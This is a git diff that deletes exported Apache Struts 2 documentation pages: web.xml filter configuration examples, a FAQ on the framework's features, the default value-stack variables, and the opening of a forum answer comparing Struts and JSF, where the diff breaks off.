-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>web.xml</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-files.html">Configuration Files</a>&nbsp;&gt;&nbsp;<a href="webxml.html">web.xml</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">web.xml</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14316">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14316">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14316">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14316">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14316">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14316">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The <code>web.xml</code> web application descriptor file represents the core of the Java web application, so it is appropriate that it is also part of the core of the Struts framework. In the <code>web.xml</code> file, Struts defines its FilterDispatcher, the Servlet Filter class that initializes the Struts framework and handles all requests. This filter can contain initialization parameters that affect what, if any, additional configuration fil [...]
-	xmlns="http://java.sun.com/xml/ns/j2ee" 
-	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
-	xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"&gt;
-
-    &lt;filter&gt;
-        &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-        &lt;filter-class&gt;org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter&lt;/filter-class&gt;
-    &lt;/filter&gt;
-
-    &lt;filter-mapping&gt;
-        &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-        &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
-    &lt;/filter-mapping&gt;
-
-    &lt;!-- ... --&gt;
-
-&lt;/web-app&gt;
-</plain-text-body><h2 id="web.xml-ChangedfilterpackageinStruts&gt;=2.5">Changed filter package in Struts &gt;= 2.5</h2><p><span>As from Struts 2.5 all filters were moved to top package, if you are using older version you must use the old package, see example:</span></p><parameter ac:name="language">xml</parameter><plain-text-body>&lt;web-app id="WebApp_9" version="2.4" 
-	xmlns="http://java.sun.com/xml/ns/j2ee" 
-	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
-	xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"&gt;
-
-    &lt;filter&gt;
-        &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-        &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter&lt;/filter-class&gt;
-    ...</plain-text-body><h2 id="web.xml-ChangedFilterStructureinStruts&gt;=2.1.3">Changed Filter Structure in Struts &gt;= 2.1.3</h2><p><span>To split up the the dispatcher phases, FilterDispatcher is deprecated since Struts 2.1.3. If working with older versions, you need to use</span></p><parameter ac:name="">XML</parameter><plain-text-body>    ...
-    &lt;filter&gt;
-        &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-        &lt;filter-class&gt;org.apache.struts2.dispatcher.FilterDispatcher&lt;/filter-class&gt;
-    ...
-</plain-text-body><p><span>See </span><a shape="rect" href="sitemesh-plugin.html">SiteMesh Plugin</a><span> for an example on when to use seperate Filters for prepare and execution phase</span></p><h2 id="web.xml-ExcludespecificURLs">Exclude specific URLs</h2><p>In the example above we've mapped the Struts 2 dispatcher to <code>/*</code>, so Struts 2 has a crack at all incoming requests. This is because Struts 2 serves static content from its jar files, including Dojo JavaScript files (i [...]
-    &lt;constant name="struts.action.excludePattern" value=".*unfiltered.*,.*\\.nofilter"/&gt;
-    ...
-
-&lt;/struts&gt;</plain-text-body><h1 id="web.xml-TaglibExample">Taglib Example</h1><p>Typically, configuring a taglib is neither required nor recommended. The taglib is included in <code>struts-core.jar</code>, and the container will discover it automatically.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> If, for some rea [...]
-    &lt;/welcome-file-list&gt;
-
-    &lt;taglib&gt;
-       &lt;taglib-uri&gt;/s&lt;/taglib-uri&gt;
-       &lt;taglib-location&gt;/WEB-INF/struts-tags.tld&lt;/taglib-location&gt;
-    &lt;/taglib&gt;
-&lt;/web-app&gt;
-</plain-text-body><h1 id="web.xml-CustomFileManagerandFileManagerFactoryimplementations">Custom FileManager and FileManagerFactory implementations</h1><p>If there is a need to support an App Server's specific file system (eg. VFS in JBoss), you can implement your own version of FileManager. But it must be registered at "the beginning" to support bootstrap of the whole framework.</p><p>To register your own FileManger you can do it with &lt;init-param/&gt; as below:</p><parameter ac:name=" [...]
-     &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-     &lt;filter-class&gt;org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter&lt;/filter-class&gt;
-     &lt;init-param&gt;
-         &lt;param-name&gt;struts.fileManager&lt;/param-name&gt;
-         &lt;param-value&gt;com.company.MyFileManager&lt;/param-value&gt;
-     &lt;/init-param&gt;
-&lt;/filter&gt;
-</plain-text-body><p>You can as well register your own FileManagerFactory with &lt;init-param/&gt;, see example:</p><parameter ac:name="">xml</parameter><plain-text-body>&lt;filter&gt;
-     &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-     &lt;filter-class&gt;org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter&lt;/filter-class&gt;
-     &lt;init-param&gt;
-         &lt;param-name&gt;struts.fileManagerFactory&lt;/param-name&gt;
-         &lt;param-value&gt;com.company.MyFileManagerFactory&lt;/param-value&gt;
-     &lt;/init-param&gt;
-&lt;/filter&gt;
-</plain-text-body><p>Take a look on default implementations - DefaultFileManager.java and DefaultFileManagerFactory.java to understand how and why.</p><h1 id="web.xml-Customconfigurationprovider">Custom configuration provider</h1><p>It is possible to use your custom&#160;<code>ConfigurationProvider</code> to programmatically configure your application. To do this use&#160;<code>configProviders</code>&#160;(it can be a comma-separated list of class names)&#160;<code>&lt;init-param/&gt;</c [...]
-     &lt;filter-name&gt;struts2&lt;/filter-name&gt;
-     &lt;filter-class&gt;org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter&lt;/filter-class&gt;
-     &lt;init-param&gt;
-         &lt;param-name&gt;configProviders&lt;/param-name&gt;
-         &lt;param-value&gt;com.company.MyConfigurationProvider&lt;/param-value&gt;
-     &lt;/init-param&gt;
-&lt;/filter&gt;</plain-text-body><p>See&#160;<a shape="rect" href="configuration-provider-configuration.html">Configuration Provider &amp; Configuration</a>&#160;for more details.</p><p>&#160;</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/what-are-some-of-the-frameworks-best-features.html b/content/docs/what-are-some-of-the-frameworks-best-features.html
deleted file mode 100644
index 665c0ee..0000000
--- a/content/docs/what-are-some-of-the-frameworks-best-features.html
+++ /dev/null
@@ -1,150 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>What are some of the framework's best features</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="what-are-some-of-the-frameworks-best-features.html">What are some of the framework's best features</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">What are some of the framework's best features</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13921">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13921">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13921">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13921">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13921">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13921">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>Key features of the framework include: </p>
-
-<h3 id="Whataresomeoftheframework'sbestfeatures-Core">Core </h3>
-<ul><li>Pluggable framework <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=architecture&amp;linkCreation=true&amp;fromPageId=13921">architecture</a> that allows request lifecycles to be customized for each action.</li><li>Flexible <a shape="rect" href="validation.html">validation</a> framework that allows validation rules to be decoupled from action code.</li><li>Hierarchical approach to <a shape="rect" class="cr [...]
-
-
-<h3 id="Whataresomeoftheframework'sbestfeatures-View">View </h3>
-<ul><li>Reusable user interface <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=tags&amp;linkCreation=true&amp;fromPageId=13921">tags</a> that allow for easy component-oriented development using <a shape="rect" href="themes-and-templates.html">themes and templates</a>. Bundled tags ranges from simple text fields to advanced tags like date pickers and tree views.</li><li>JSTL-compatible expression language (<a shap [...]
-
-
-<h3 id="Whataresomeoftheframework'sbestfeatures-Other">Other</h3>
-<ul><li>Easy integration with other popular products, including <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=Hibernate&amp;linkCreation=true&amp;fromPageId=13921">Hibernate</a>, <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=Spring&amp;linkCreation=true&amp;fromPageId=13921">Spring</a>, <a shape="rect" class="createlink" href="https://c [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/what-are-the-default-variables-in-the-value-stack.html b/content/docs/what-are-the-default-variables-in-the-value-stack.html
deleted file mode 100644
index 15afb51..0000000
--- a/content/docs/what-are-the-default-variables-in-the-value-stack.html
+++ /dev/null
@@ -1,142 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>What are the default variables in the value stack</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="what-are-the-default-variables-in-the-value-stack.html">What are the default variables in the value stack</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">What are the default variables in the value stack</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13947">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13947">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13947">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13947">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13947">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13947">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Variables </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> attr </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> scans the request, session, and application attributes, in that order </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> request </ [...]
-
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Defining Java Constant </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Variables </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ActionContext.PARAMETERS </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> com.opensymphony.xwork2.ActionContext.paramete [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/what-are-the-fundamental-differences-between-struts-and-jsf.html b/content/docs/what-are-the-fundamental-differences-between-struts-and-jsf.html
deleted file mode 100644
index 474a62f..0000000
--- a/content/docs/what-are-the-fundamental-differences-between-struts-and-jsf.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>What are the fundamental differences between Struts and JSF</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="what-are-the-fundamental-differences-between-struts-and-jsf.html">What are the fundamental differences between Struts and JSF</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">What are the fundamental differences between Struts and JSF</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=69542">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=69542">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=69542">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=69542">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=69542">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=69542">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Will Hartung's <a shape="rect" class="external-link" href="http://www.theserverside.com/news/thread.tss?thread_id=47344#241709" rel="nofollow">thoughts</a> from a similar <a shape="rect" class="external-link" href="http://www.theserverside.com/news/thread.tss?thread_id=47344" rel="nofollow">question</a> posted on <a shape="rect" class="external-link" href="http://www.theserverside.com" rel="nofollow">TheServerSide</a> (<em>posted here in its ent [...]
-
-<blockquote>
-<p>Routing around the hyperbole and actually trying to answer the question...</p>
-
-<p>The key differences between the two are the base paradigms that underly each platform.</p>
-
-<p>Specifically, JSF is a "component" framework whereas Struts is an "action" framework.</p>
-
-<p>What does that mean?</p>
-
-<p>In a component framework, artifacts that are rendered on the page are initially developed as individual components, much like in modern GUI "fat client" libraries. You have components, they have events, and your code is written to work with those events against the components.</p>
-
-<p>Most of the time, in mainstream development, your code is pretty much ignorant of the HTTP request cycle and processing.</p>
-
